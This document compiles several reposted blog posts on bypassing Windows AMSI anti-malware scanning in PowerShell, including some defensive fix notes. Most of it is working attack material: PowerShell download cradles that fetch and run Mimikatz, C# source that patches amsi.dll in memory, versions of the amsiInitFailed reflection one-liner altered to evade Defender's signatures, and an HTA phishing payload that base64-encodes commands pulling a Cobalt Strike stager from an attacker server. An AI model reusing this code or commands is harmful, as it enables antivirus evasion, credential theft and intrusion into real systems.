AMSI Bypass With a Null Character

Original text by Satoshi’s note

In this blog post, I am going to look into a flaw I reported a few months ago and see how the flaw could have been exploited to execute malicious PowerShell scripts and commands while bypassing AMSI based detection. This issue has been fixed as defense-in-depth with the February Update.

What is AMSI

AMSI, Anti-malware Scan Interface, is a mechanism Windows 10+ provides security software vendors for developing software that subscribes certain events and detects malicious contents. AMSI issues several types of events, but the most commonly used one by the software vendors is arguably the events about execution of scripts, where software can receive contents of those scripts and commands about to be executed (I will refer to them as contents simply), then scan and block them. 
The below illustration is an overview of how this event is generated and notified to security software for scanning.

The red boxes are security software that subscribes the events from AMSI and are called AMSI providers. When supported script engines such as PowerShell (i.e., System.Management.Automation.dll) and Windows Script Host (e.g., JScript.dll) execute contents, they call one of the functions exported from amsi.dll with the contents to scan with AMSI providers.  
As illustrated above, AMSI providers rely on script engines to call the exported function and forward contents properly through amsi.dll; or, they would not receive contents and detect malicious strings.

The Bug

The bug fixed was System.Management.Automation.dll did not take account of that PowerShell contents could include null characters in them and called AmsiScanString, which treated a null character as the end of contents, to forward contents to AMSI providers. Here is the prototype of the API.—-

HRESULT WINAPI AmsiScanString(
  _In_     HAMSICONTEXT amsiContext,
  _In_     LPCWSTR      string,   // Will be terminated at the first null character
  _In_     LPCWSTR      contentName,
  _In_opt_ HAMSISESSION session,
  _Out_    AMSI_RESULT  *result
);

—-
Because of this bug, amsi.dll could truncate contents (value of «string» above) at the first null character and then send to AMSI providers. This results in that AMSI providers not being able to scan all of the contents and detect malicious strings.

Exploitation

The basic idea for exploitation is to place a null character into PowerShell contents before malicious strings appear.

File Based Exploitation

As a basic exploitation scenario, let us assume we are trying to execute Invoke-Mimikatz like this and being detected.—-> powershell «IEX (New-Object Net.WebClient).DownloadString(‘https://gist.github.com/tandasat/4958959cdeb1d0ac6dd1c70654b11e83/raw/Invoke-DefaultMimikatz.ps1’)»—-

This is because the contents being Invoke-Expression’d are visible to AMSI providers as shown in the below screenshot.

Such detection can be bypassed by placing a null character at the beginning of the file being Invoke-Expression’d.

—-> powershell «IEX (New-Object Net.WebClient).DownloadString(‘https://gist.github.com/tandasat/4958959cdeb1d0ac6dd1c70654b11e83/raw/Invoke-BypassingMimikatz.ps1’)»—-This successfully bypasses scan and detection by AMSI providers as seen below («Get-ChildItem Function: | Select-String Invoke» is added for a demonstration purpose).

Command Line Based Exploitation

With the above successful bypass, you might try to execute loaded Invoke-Mimikatz like below, but find it gets detected due to an appearance of «Invoke-Mimikatz» in the command line.—-powershell «IEX (New-Object Net.WebClient).DownloadString(‘https://gist.github.com/tandasat/4958959cdeb1d0ac6dd1c70654b11e83/raw/Invoke-BypassingMimikatz.ps1’); Invoke-Mimikatz -DumpCerts»—-
A naive approach with Invoke-Expression could bypass process command line based detection but not AMSI based one, as «Invoke-Mimikatz» will still be visible to AMSI providers. Here is such an unsuccessful attempt.—-powershell «IEX (New-Object Net.WebClient).DownloadString(‘https://gist.github.com/tandasat/4958959cdeb1d0ac6dd1c70654b11e83/raw/Invoke-BypassingMimikatz.ps1’); IEX (‘Invoke-‘+’Mimikatz -DumpCerts’)»—-

To bypass AMSI detection in this scenario, we can insert a null character into the command line with a bit of string manipulation.—-powershell «IEX (New-Object Net.WebClient).DownloadString(‘https://gist.github.com/tandasat/4958959cdeb1d0ac6dd1c70654b11e83/raw/Invoke-BypassingMimikatz.ps1’); IEX (‘if(0){{{0}}}’ -f $(0 -as [char]) + ‘Invoke-‘+’Mimikatz -DumpCerts’)»—-
The highlighted part prepends a null character that never gets executed to the original command line. A resulted string will look like this.—-if (0) {<NULL>} the rest of commands—-
This can successfully prevent AMSI providers from receiving all of the contents and detecting «Invoke-Mimikatz.»

Summary of Exploitation

For file contents, insert «#<NULL>» at the beginning of the file, and any places where additional scans with AMSI occur. To identify the latter places, some try-and-error will be needed. Using a debugger and logging invocation of AmsiScanString with the below command will be helpful.—-bp amsi!AmsiScanString «du @rdx;g»—-
For command line contents, wrap them into Invoke-Expression and prepend «‘if(0){{{0}}}’ -f $(0 -as [char]) +». Here is another step-by-step example to bypass detection on «AmsiUtils» and «amsiInitFailed» in the below contents:—-[Ref].Assembly.GetType(‘System.Management.Automation.AmsiUtils’).GetField(‘amsiInitFailed’,’NonPublic,Static’).SetValue($null,$true)—-
1. Wrap the original contents with Invoke-Expression.—-IEX (‘[Ref].Assembly.GetType(«System.Management.Automation.AmsiUtils»).GetField(«amsiInitFailed»,»NonPublic,Static»).SetValue($null,$true)’)—-
2. Prepend the null character to bypass AMSI based detection.—-IEX (‘if(0){{{0}}}’ -f $(0 -as [char]) + ‘[Ref].Assembly.GetType(«System.Management.Automation.AmsiUtils»).GetField(«amsiInitFailed»,»NonPublic,Static»).SetValue($null,$true)’)—-
3. Make any modification sufficient to bypass command line based detection.—-IEX (‘if(0){{{0}}}’ -f $(0 -as [char]) + ‘[Ref].Assembly.GetType(«System.Management.Automation.Amsi’+’Utils»).GetField(«amsi’+’InitFailed»,»NonPublic,Static»).SetValue($null,$true)’)—-
It is worth noting that this exploitation is usable even on the Constrained Language Mode and does not trigger any event logs, unlike the most of AMSI bypass techniques which use reflection.

Fix and Recommendation

The fix Microsoft made was to use AmsiScanBuffer instead of AmsiScanString in System.Management.Automation.dll. As shown below, this function accepts arbitrary byte sequence for contents.—-

HRESULT WINAPI AmsiScanBuffer(
  _In_     HAMSICONTEXT amsiContext,
  _In_     PVOID        buffer,  // Not terminated at the null character
  _In_     ULONG        length,
  _In_     LPCWSTR      contentName,
  _In_opt_ HAMSISESSION session,
  _Out_    AMSI_RESULT  *result
  );

—-

This way, AMSI providers can receive and scan entire contents even if a null character appears in the middle.
In theory, no action other than applying the patch should be required. However, software vendors using AMSI to scan PowerShell contents should review whether it can handle null characters properly should they appear.

Additionally, security researchers and users of security software can test if their AMSI providers are vulnerable to the bypass technique and ask vendors to address issues if needed. Also, it might be worth monitoring any appearance of a null character in PowerShell contents to detect attempts to exploit this issue.
As for other script engines, PowerShell Core is also affected but does not have a patch as of this writing yet. Windows Script Host is not affected as its interpreter stops reading script contents at the first null character, unlike PowerShell.

Acknowledgement

Kudos to Alex Ionescu (@aionescu) for helping me report this issue, and Microsoft for fixing it.

Реклама

AMSI Bypass: Patching Technique

( Original text )

Abstract

In this blog post, we introduce a technique that can help attackers run malicious code over Microsoft Windows 10 (Version 1607) using PowerShell (version 5). CyberArk alerted Microsoft to the weakness, and while Microsoft issued a patch in version 1709, organizations that haven’t implemented the fix remain at risk.

The technique can be carried out on unpatched systems by running code straight from memory while bypassing the Microsoft AMSI (Antimalware Scan Interface) protection giving attackers the ability to run malicious code over a victim’s machine without being detected.

Background

As described in the Microsoft Developer Network (MSDN), AMSI is a generic interface standard that allows applications and services to integrate with any antimalware product present on a machine. It provides enhanced malware protection for users and their data, applications and workloads.

See Figure 0 for details on where AMSI sits.

Figure 0- AMSI Architecture Courtesy of MSFT

AMSI is antimalware vendor agnostic, designed to allow for the most common malware scanning and protection techniques provided by today’s antimalware products that can be integrated into applications. It supports a calling structure allowing for file and memory or stream scanning, content source URL/IP reputation checks, and other techniques.

By default, AMSI works with Microsoft Defender to scan relevant data. Windows Defender will unregister itself from being an “AMSI Provider” and shut itself down when another AV engine registers as an “AMSI Provider.”

In this research, the bypass technique exploits the fact that AMSI’s protection is provided at the same level on which the threat operates. AMSI is implemented as a Dynamic-link library (DLL) that is loaded into every PowerShell session. In the same level of this session, a potentially malicious code (AMSI’s bypass code) can be executed.

AMSI & PowerShell

Starting with Windows 10, AMSI by default provides protection to PowerShell, which is a very strong system tool used by both system administrators and attackers.

A few important things to note:

  • AMSI protects PowerShell by loading AMSI’s DLL (amsi.dll) into the PowerShell’s memory space.
  • AMSI protection does not distinguish between a simple user with low privileges and a powerful user, such as an admin. AMSI loads its DLL for any PowerShell instance.
  • AMSI scans the PowerShell console input by using Windows Defender to determine whether to block the payload operation or allow it to continue.

API monitoring in figure 1 shows the AMSI behavior behind the scenes:

  • The string that was submitted to the PowerShell console (“echo ‘Avi-G’”).
  • The AmsiScanString() function (under API monitor) which has been automatically invoked with the new input string insertion.

Figure 1- AmsiScanString

Bypassing AMSI General Flow

In our research, we were able to bypass the PowerShell AMSI protection of a simple user with low privileges. Malwares can use the same technique to run their malicious payloads above any kind of user.

We used the following components to perform the bypass:

Figure 2- POC components

Obtainer- a simple C# code script that is crafted as a PowerShell module, responsible for obtaining our AmsiDumpsi.dll.

Operator– AmsiDumpsi.dll is responsible for patching the real amsi.dll->AmsiScanString() function.

In Figure 3, you can see the complete process:

Figure 3- Bypassing Flow

It’s worth mentioning that the first AMSI bypass attempt was to simply unload the Amsi.dll by calling to the FreeLibrary() Api. The module was successfully unloaded, but PowerShell crashed because the process kept using the handle to the Amsi.dll.

Deep Diving into the POC code

Let’s take a short look at the original AmsiScanString() function:

Figure 4- Original AmsiScanString() Function

As you can see at 7fff9c1b2530 – 7fff9c1b2560, AmsiScanString() verifies the argument’s integrity. Right after that, the function initializes the user arguments to be transferred to the real scan. AmsiScanBuffer() treats the user console input string as a buffer to be scanned.

Our AmsiDumpsi.dll patches the original AmsiScanString() function straight in the memory. Here you can see the function at runtime after the patch:

Figure 5- AmsiScanString() After Patching

By changing the second function line, we’re zeroing one of the given arguments (rdx) and causing an error. For that reason, the function will jump straight to the end (instead of scanning the string with AmsiScanBuffer() ) in order to store the error code in the eax register and to return it to the caller function (see address- 00007fff9c1b2579).

By changing the 00007fff9c1b2579 line, we’ve changed the error code to be zero, so now eax will contain 0 [move eax,0] (instead of the original instruction [move eax,0x80070057h]) and the function returns 0.

As we can see in Microsoft’s documentation, returning 0 is equal to S_OK. S_OK means that the function successfully “scanned the payload” (bypassed the scan) and we can keep going.

Figure 6- AmsiScanString() Documentation

Now let’s look at the Obtainer code:

Figure 7- Obtainer loads AmsiDumpsi.dll

As you can see, we have a simple C# code, which was crafted into a PowerShell module by using the Add-Typecmdlet. This module loads the AmsiDumpsi.dll.

Here we can see the patch function in the AmsiDumpsi.dll:

Figure 8- Patch Function

As you can see, AmpsiDumpsiAttached() performs the following steps:

  1. Get a Pointer to the real amsi->AmsiScanString() function.
  2. Look for the original function error code (0x80070057) that the function returns in case of an error.
  3. Enable writing into the required memory address by setting the PAGE_EXECUTE_READWRITE permission.
  4. Patch the second AmsiScanString line by submitting the 4831d2 opcodes [xor rdx,rdx].
  5. Set the AmsiScanString error_code to 0.

Here’s a video that demonstrates this:

OnAction

Let’s see what happens when we try to obtain a malicious Mimikatz payload into the PowerShell session by using the Net.Webclient->DownloadString method and the iex (Invoke-expression) cmdlet, which invokes the downloaded string into the PowerShell session:

Figure 9- AMSI and Defender protects against the new malicious payload submissions

As you can see, the Defender pops up and blocks the string (payload) from being invoked. If we try to look for the obtained Mimikatz function (by using the get-item function), we can’t find it.

After loading our AmpsiDumpsi.dll using the Obtainer, we can see the obtained Mimikatz function, while no Defender alerts have popped up:

Figure 10- Bypassing the AMSI protection, new Mimikatz payload submitted into the process memory

Summary

This research demonstrates how a bypass can be utilized on unpatched systems via PowerShell, regardless of a user’s privileges.

The advantages of the technique presented here are that amsi.dll is loaded in every PowerShell process; the API call for the AmsiScanString is performed regularly; and AMSI seems to be working correctly. Because of this, you’re only able to see that it actually doesn’t operate as it should if you protect the DLL in memory or examine its code at runtime.

For this reason, it’s important that organizations push this patch to all systems to avoid unnecessary risk.

References

AmsiScanBuffer Bypass — Part 3

( Original text by  )

In Part 2, we engineered a delivery method for the AmsiScanBuffer Bypass discussed in Part 1. In this post, we’ll make some modifications to the bypass itself.

If you read Part 1 and the original posts from CyberArk, you will know that the bypass works by patching the AMSI DLL in memory. But before we make any modifications to the bypass — let’s explore that in some additional detail, so we all have a clear baseline understanding.

Bypass Primer

We can use API Monitor to have a peak at what’s going on.

To summerise what we’re looking at:

  1. powershell.exe starts and amsi.dll is loaded into its memory space.
  2. We type something into the console.
  3. The AmsiScanBuffer function is called.
  4. Where our input is passed into.

This is the AmsiScanBuffer function as documented by Microsoft:

HRESULT AmsiScanBuffer(
  HAMSICONTEXT amsiContext,
  PVOID        buffer,
  ULONG        length,
  LPCWSTR      contentName,
  HAMSISESSION amsiSession,
  AMSI_RESULT  *result
);

We won’t worry about all of this — just the idea that we have a buffer of length, that when scanned, returns a result. To help visualise the bypass, let’s throw PowerShell into a debugger.

We’ll set a breakpoint on the AmsiScanBuffer function and type something into the console.

We step down to the mov edi, r8d instruction — because we know from CyberArk that r8d contains the length of the buffer. We can also see that in Binary Ninja.

After the instruction, both edi and r8d contain 2c — which in decimal is 44. Our string "this is some garbage" is 22 characters, so this checks out (bits and bytes, amirite). In the context of AmsiScanBuffer, it’s saying “scan 22 bytes of this buffer”.

The bypass works by slightly patching this instruction — changing mov edi, r8d to xor edi, edi. Because if you xor two identical values, i.e. the current value of edi (whatever it happens to be) with itself, the result is always 0. So if we run the bypass and look at the instructions again…

edi is now zero — i.e. “scan 0 bytes of this buffer”. So if AmsiScanBuffer scans 0 bytes, it will not actually scan anything at all.

AMSI_RESULT_CLEAN

So the whole reason for this post, is that I was talking to Kuba Gretzky about the bypass after I’d posted my Part 1. He said:

the risky part with the bypass is that it uses a fixed offset from the start of the function AmsiScanBufferPtr + 0x001b. MS can just slightly modify the AmsiScanBuffer function and the bypass will result in a crash. It would be wiser to do hotpatching at the beginning of the function to return a result that would say that nothing was found.

If we have have a look at the AMSI_RESULT details that we glossed over previously — there are different results that can be returned.

typedef enum AMSI_RESULT {
  AMSI_RESULT_CLEAN,
  AMSI_RESULT_NOT_DETECTED,
  AMSI_RESULT_BLOCKED_BY_ADMIN_START,
  AMSI_RESULT_BLOCKED_BY_ADMIN_END,
  AMSI_RESULT_DETECTED
} ;

So could we just patch the function so that it always returns AMSI_RESULT_CLEAN?

Revisiting the AmsiScanBuffer function in Binary Ninja, we can see there are a whole bunch of instructions followed by conditional jumps, but all to the same address: 0x180024f5.

The content of which is a mov eax, 0x80070057 instruction, which we guessed meant AMSI_RESULT_CLEAN.

The original bypass was:

Byte[] Patch = { 0x31, 0xff, 0x90 };
IntPtr unmanagedPointer = Marshal.AllocHGlobal(3);
Marshal.Copy(Patch, 0, unmanagedPointer, 3);
MoveMemory(ASBPtr + 0x001b, unmanagedPointer, 3);

Which we modified to:

Byte[] Patch = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
IntPtr unmanagedPointer = Marshal.AllocHGlobal(6);
Marshal.Copy(Patch, 0, unmanagedPointer, 6);
MoveMemory(ASBPtr, unmanagedPointer, 6);

Where 0xB8, 0x57, 0x00, 0x07, 0x80 are the (hex) opcodes for mov eax, 0x80070057; and 0xC3 is a retn. And notice there is no offset — we are patching the first two instructions in the function.

Before we carry out this patch, we can verify those first two instructions at the AmsiScanBuffer pointer.

They match what we expect from Binary Ninja. If we implement our new patch and look again…

The rest of the instructions become a bit munged, but that doesn’t matter. Hopefully we’ll just enter AmsiScanBuffer, immediately set eax and return.

Which seems to work just fine.

This is no “better” than the previous bypass, but hopefully will be a little more resilient against future modifications to amsi.dll by Microsoft.

AmsiScanBuffer Bypass — Part 2

( Original text by  )

In Part 1, we had a brief look at the AmsiScanBuffer bypass technique. We found some circumstances where the bypass code would be identified as malicious before it could be executed (which turned out to be a simple string detection), and modified the code to circumvent this.

In this post, we’ll explore a delivery method to help stage a Cobalt Strike / Empire / <insert framework here> agent. As with Part 1, this is not about some 1337 code drop — it’s a demonstration of how I walked through engineering the final result.

So, let’s get cracking.

Before we start, we have a few goals in mind:

  1. Deliver “something” to a user, via a phish or some other social engineering event.
  2. The initial payload should ideally have a small footprint. We don’t want to deliver everything in one go.
  3. Perform the AMSI bypass.
  4. If the bypass was successful, stage a beacon.
  5. Otherwise, run for the hills.

For the delivery method, we’ll use an HTA with a PowerShell payload. That payload will pull and execute the AMSI Bypass code, then if successful, pull and execute the beacon stager. Simple 🙂

Generate Stager

We’ll start by generating a simple stager, host it on a web server and just verify that AMSI does indeed prevent it from running. We’ll be serving these payloads using download cradles, so it’s always worth making sure they behave as you expect.

AMSI Bypass

For the AMSI Bypass payload, we’ll throw the C# source into a PowerShell script and use Add-Type to make it available within the PowerShell session.

$Ref = (
«System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089«,
«System.Runtime.InteropServices, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a«
)
$Source =
using System;
using System.Runtime.InteropServices;
namespace Bypass
{
public class AMSI
{
[DllImport(«kernel32»)]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport(«kernel32»)]
public static extern IntPtr LoadLibrary(string name);
[DllImport(«kernel32»)]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
[DllImport(«Kernel32.dll», EntryPoint = «RtlMoveMemory», SetLastError = false)]
static extern void MoveMemory(IntPtr dest, IntPtr src, int size);
public static int Disable()
{
IntPtr TargetDLL = LoadLibrary(«amsi.dll»);
if (TargetDLL == IntPtr.Zero) { return 1; }
IntPtr ASBPtr = GetProcAddress(TargetDLL, «Amsi» + «Scan» + «Buffer»);
if (ASBPtr == IntPtr.Zero) { return 1; }
UIntPtr dwSize = (UIntPtr)5;
uint Zero = 0;
if (!VirtualProtect(ASBPtr, dwSize, 0x40, out Zero)) { return 1; }
Byte[] Patch = { 0x31, 0xff, 0x90 };
IntPtr unmanagedPointer = Marshal.AllocHGlobal(3);
Marshal.Copy(Patch, 0, unmanagedPointer, 3);
MoveMemory(ASBPtr + 0x001b, unmanagedPointer, 3);
return 0;
}
}
}
«@
Add-Type ReferencedAssemblies $Ref TypeDefinition $Source Language CSharp
view rawASBBypass.ps1 hosted with ❤ by GitHub

We’ll then test it out by downloading and executing it, then running the stager that failed earlier.

All good so far.

Next step is to hook in the logic for deciding whether the AMSI bypass was successful. There are a couple of opportunities in the Disable() function where it returns an int of 1 if something fails and 0 if it makes it to the end.

So in pseudo-code we can say something like execute bypass; if (bypass -eq "0") { execute stager }. If bypass returns 1, we naturally don’t do anything more.

HTA

To execute that PowerShell inside an HTA, we can base64 encode it so we don’t have to worry about escaping characters.

$string = 'iex ((new-object net.webclient).downloadstring("http://192.168.214.129/amsi-bypass")); if([Bypass.AMSI]::Disable() -eq "0") { iex ((new-object net.webclient).downloadstring("http://192.168.214.129/stager")) }'

[System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($string))

The final HTA is nice and small.

<script language="VBScript">
    Function var_func()
        Dim var_shell
        Set var_shell = CreateObject("Wscript.Shell")
        var_shell.run "powershell.exe -nop -w 1 -enc aQBlAHgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACIAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMgAxADQALgAxADIAOQAvAGEAbQBzAGkALQBiAHkAcABhAHMAcwAiACkAKQA7ACAAaQBmACgAWwBCAHkAcABhAHMAcwAuAEEATQBTAEkAXQA6ADoARABpAHMAYQBiAGwAZQAoACkAIAAtAGUAcQAgACIAMAAiACkAIAB7ACAAaQBlAHgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACIAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMgAxADQALgAxADIAOQAvAHMAdABhAGcAZQByACIAKQApACAAfQA=", 0, true
    End Function

    var_func
    self.close
</script>

Finally, we host the HTA and test it with C:\Users\Rasta>mshta http://192.168.214.129/delivery.hta.

The web logs show us exactly what we expect.

  1. AMSI download
  2. Stager download
  3. Beacon checkin
10/31 11:22:44 visit from: 192.168.214.1
    Request: GET /amsi-bypass
    page Serves /opt/cobaltstrike/uploads/AMSIBypass.ps1
    null

10/31 11:22:44 visit from: 192.168.214.1
    Request: GET /stager
    page Serves /opt/cobaltstrike/uploads/stager.ps1
    null

10/31 11:22:44 visit from: 192.168.214.1
    Request: GET /__init.gif
    beacon beacon stager x64
    Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0)

Awesome sauce. And for those who want it, I also uploaded the code to GitHub.

AmsiScanBuffer Bypass — Part 1

( Original text by  )

Andre Marques recently posted a pretty nice write-up for circumventing AMSI, based on previous work by CyberArk.

Please read these for all the technical details — we’re launching this post with the C# code from Andre:

using System;
using System.Runtime.InteropServices;

namespace Bypass
{
    public class AMSI
    {
        [DllImport("kernel32")]
        public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
        [DllImport("kernel32")]
        public static extern IntPtr LoadLibrary(string name);
        [DllImport("kernel32")]
        public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);

        [DllImport("Kernel32.dll", EntryPoint = "RtlMoveMemory", SetLastError = false)]
        static extern void MoveMemory(IntPtr dest, IntPtr src, int size);


        public static int Disable()
        {
            IntPtr TargetDLL = LoadLibrary("amsi.dll");
            if (TargetDLL == IntPtr.Zero)
            {
                Console.WriteLine("ERROR: Could not retrieve amsi.dll pointer.");
                return 1;
            }

            IntPtr AmsiScanBufferPtr = GetProcAddress(TargetDLL, "AmsiScanBuffer");
            if (AmsiScanBufferPtr == IntPtr.Zero)
            {
                Console.WriteLine("ERROR: Could not retrieve AmsiScanBuffer function pointer");
                return 1;
            }

            UIntPtr dwSize = (UIntPtr)5;
            uint Zero = 0;
            if (!VirtualProtect(AmsiScanBufferPtr, dwSize, 0x40, out Zero))
            {
                Console.WriteLine("ERROR: Could not change AmsiScanBuffer memory permissions!");
                return 1;
            }

            /*
             * This is a new technique, and is still working.
             * Source: https://www.cyberark.com/threat-research-blog/amsi-bypass-redux/
             */
            Byte[] Patch = { 0x31, 0xff, 0x90 };
            IntPtr unmanagedPointer = Marshal.AllocHGlobal(3);
            Marshal.Copy(Patch, 0, unmanagedPointer, 3);
            MoveMemory(AmsiScanBufferPtr + 0x001b, unmanagedPointer, 3);

            Console.WriteLine("AmsiScanBuffer patch has been applied.");
            return 0;
        }
    }
}

I don’t think it’s clear from Andre’s post which version of Windows 10 he was testing against, but the CyberArk post specifically references 1709 (17074) and was originally posted on 23 May 2018. Microsoft have been doing a really effective job as of late, with keeping Defender and AMSI up-to-date. Even though MSRC said they would not fix it, they did say:

We don’t see this as a security vulnerability – but we’ll definitely look into what we can do to prevent (or detect) this type of attacks.

So at the time of writing (29 October 2018), I’m on Windows 10 1803 (17134). Does this bypass still work? Turns out the answer is yes, and no.

I copied the code verbatim, compiled to a DLL and attempted to load it via reflection, which failed:

Not a good start.

I had some suspects in mind, such as:

  • IntPtr TargetDLL = LoadLibrary("amsi.dll"); <- Maybe just loading AMSI is bad, but unlikely.
  • IntPtr AmsiScanBufferPtr = GetProcAddress(TargetDLL, "AmsiScanBuffer"); <- Finding the address of AmsiScanBuffer.
  • if (!VirtualProtect(AmsiScanBufferPtr, dwSize, 0x40, out Zero)) <- Modifying the permissions of a memory region.

And pretty much all of this…

Byte[] Patch = { 0x31, 0xff, 0x90 };
IntPtr unmanagedPointer = Marshal.AllocHGlobal(3);
Marshal.Copy(Patch, 0, unmanagedPointer, 3);
MoveMemory(AmsiScanBufferPtr + 0x001b, unmanagedPointer, 3);

Because the code is relatively short, I thought I would just step through it line-by-line to see if I could find the offending content. I did this in PowerShell ISE, by putting all the C# into a text variable and “running” the script. Then, systematically removing a couple of lines of code each time, until I got to the point AMSI wasn’t flagging anymore.

To simplfy the process, I shortened the code a bit more by removing the if statements and removing console output. So my version became:

using System;
using System.Runtime.InteropServices;

namespace Bypass
{
    public class AMSI
    {
        [DllImport("kernel32")]
        public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
        [DllImport("kernel32")]
        public static extern IntPtr LoadLibrary(string name);
        [DllImport("kernel32")]
        public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);

        [DllImport("Kernel32.dll", EntryPoint = "RtlMoveMemory", SetLastError = false)]
        static extern void MoveMemory(IntPtr dest, IntPtr src, int size);

        public static int Disable()
        {
            IntPtr TargetDLL = LoadLibrary("amsi.dll");
            IntPtr AmsiScanBufferPtr = GetProcAddress(TargetDLL, "AmsiScanBuffer");

            UIntPtr dwSize = (UIntPtr)5;
            uint Zero = 0;

            VirtualProtect(AmsiScanBufferPtr, dwSize, 0x40, out Zero);

            Byte[] Patch = { 0x31, 0xff, 0x90 };
            IntPtr unmanagedPointer = Marshal.AllocHGlobal(3);
            Marshal.Copy(Patch, 0, unmanagedPointer, 3);
            MoveMemory(AmsiScanBufferPtr + 0x001b, unmanagedPointer, 3);

            return 0;
        }
    }
}

Eventually, I found only 3 lines were causing the alerts. IntPtr AmsiScanBufferPtr = GetProcAddress(TargetDLL, "AmsiScanBuffer");if (!VirtualProtect(AmsiScanBufferPtr, dwSize, 0x40, out Zero)) and MoveMemory(AmsiScanBufferPtr + 0x001b, unmanagedPointer, 3);.

The one thing they all have in common…? Yep, the string (or substring) AmsiScanBuffer!

You can actually test this by just typing it into a PowerShell window…

And some funny consequences…

It’s also worth noting "Amsi Scan Buffer" also flags, but others like "AmsixScanxBuffer" or "Amsi.Scan.Buffer" are fine.

But this also means the reason my first reflection test failed, was probably down to this string being in my path and not the actual file itself. So I renamed everything and tried again…

Success.

This is still only a “somewhat limited” solution, because there are more ways we might want to load this code. If we want to use this directly in a PowerShell script, we could do [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String("")) without issue, which to be honest, is probably the most elegant way.

But if we want to do it this way, we’re still stuck.

$Ref = (
    [...]
)

$Source = @"
[...]
"@

Add-Type [...]

Of course, this is relatively straight forward to fix.

IntPtr AmsiScanBufferPtr = GetProcAddress(TargetDLL, "AmsiScanBuffer"); becomes IntPtr ASBPtr = GetProcAddress(TargetDLL, "Amsi" + "Scan" + "Buffer");.

VirtualProtect(AmsiScanBufferPtr, (UIntPtr) 5, 0x40, out uint Zero); becomes VirtualProtect(ASBPtr, dwSize, 0x40, out Zero);.

MoveMemory(AmsiScanBufferPtr + 0x001b, unmanagedPointer, 3); becomes MoveMemory(ASBPtr + 0x001b, unmanagedPointer, 3);.

 

Exploring PowerShell AMSI and Logging Evasion

Картинки по запросу amsi powershell

( Original text by Adam Chester of MDSec’s ActiveBreach team )

By now, many of us know that during an engagement, AMSI (Antimalware Scripting Interface) can be used to trip up PowerShell scripts in an operators arsenal. Attempt to IEX Invoke-Mimikatz without taking care of AMSI, and it could be game over for your undetected campaign.
Before attempting to load a script, it has now become commonplace to run the following AMSI bypass:
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
But have you ever wondered just how this magic command goes about unhooking AMSI?
In this post, we will walk through just how this technique works under the hood, then we will look at a few alternate ways to unhook AMSI from PowerShell. Finally we’ll review a relative newcomer to the blue-team arsenal, script block logging, how this works, and just how we can unhook this before it causes us any issues during an engagement.

AMSI Bypass – How it works

The earliest reference to this bypass technique that I can find is credited to Matt Graeber back in 2016:
To review just what this command is doing to unhook AMSI, let’s load the assembly responsible for managing PowerShell execution into a disassembler, “System.Management.Automation.dll”.
To start, we need to look at the “System.Management.Automation.AmsiUtils” class, where we find a number of static methods and properties. What we are interested in is the variable “amsiInitFailed”, which is defined as:
private static bool amsiInitFailed = false;
Note that this variable has the access modifier of “private”, meaning that it is not readily exposed from the AmsiUtils class. To update this variable, we need to use .NET reflection to assign a value of ‘true’, which is observed in the above bypass command.
So where is this variable used and why does it cause AMSI to be disabled? The answer can be found in the method “AmsiUtils.ScanContent”:


internal unsafe static AmsiUtils.AmsiNativeMethods.AMSI_RESULT ScanContent(string content, string sourceMetadata)
{
if (string.IsNullOrEmpty(sourceMetadata))
{
sourceMetadata = string.Empty;
}
if (InternalTestHooks.UseDebugAmsiImplementation && content.IndexOf("X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*", StringComparison.Ordinal) >= 0)
{
return AmsiUtils.AmsiNativeMethods.AMSI_RESULT.AMSI_RESULT_DETECTED;
}
if (AmsiUtils.amsiInitFailed)
{
return AmsiUtils.AmsiNativeMethods.AMSI_RESULT.AMSI_RESULT_NOT_DETECTED;
}
...
}

Here we can see that the “ScanContent” method is using the “amsiInitFailed” variable to determine if AMSI should scan the command to be executed. By setting this variable to “false”, what is returned is the following enumeration value:
AmsiUtils.AmsiNativeMethods.AMSI_RESULT.AMSI_RESULT_NOT_DETECTED
This in turn causes any further checks within the code to be bypassed, neutering AMSI… pretty cool 🙂
Unfortunately for us as attackers, a recent Windows Defender update has blocked the AMSI bypass command, causing AMSI to trigger, blocking the AMSI bypass before we can unhook AMSI… meta:
Diving into Windows Defender with a debugger, we can actually find the signature being used to flag this this bypass:
This case insensitive match is applied by Defender to any command sent over via AMSI in search for commands attempting to unhook AMSI. It’s worth noting that there is no real parsing going on of the command’s context, for example, the following would also cause this rule to trigger:
echo“amsiutils’).getfield(‘amsiinitfailed’,’nonpublic,static’).setvalue($null,$true)
Knowing this, we see how easy it is to bypass this signature, for example, we could do something like:
[Ref].Assembly.GetType('System.Management.Automation.Am'+'siUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
Or even just swap out single quotes for double quotes:
[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
